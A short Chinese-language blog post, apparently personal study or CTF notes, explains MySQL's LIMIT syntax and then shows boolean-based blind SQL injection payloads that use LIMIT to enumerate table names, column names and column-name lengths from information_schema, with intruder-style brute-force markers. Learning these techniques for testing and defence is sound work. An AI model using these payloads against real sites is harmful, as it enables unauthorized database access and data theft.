0x00前言
limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客。。这里还是记录一下吧以后忘了方便复习。
0x01 limit基础知识
照抄前面的:
这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233
使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据
SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。
LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
初始记录行的偏移量是 0(而不是 1):?
比如:
SELECT?*?FROM?table?LIMIT?5,10;??//?检索记录行?6-15,从5+1开始算
SELECT?*?FROM?table?LIMIT?95,-1;?//?检索记录行?96-last.从95+1开始算
//如果只给定一个参数,它表示返回最大的记录行数目:
SELECT?*?FROM?table?LIMIT?5;?????//检索前?5?个记录行
//换句话说,LIMIT n 等价于 LIMIT?0,n
我们再来看一下我们的上面用到的
爆表
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
解释:从第一行开始检索,返回前面1行(0+1)。
如果我们想要爆破第二张表(这里只是随便举例,一般就1张表里面多个字段)
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),§1§,1))=§32§)--+
解释:从第二行开始检索,返回前面2行(1+1)。
爆字段
" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 2,1),§1§,1))=§32§)--+
爆破字段,当我们手动盲注这里他表里可能有多个字段,我们分别对这几个字段先猜测长度:
" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1))=2)--+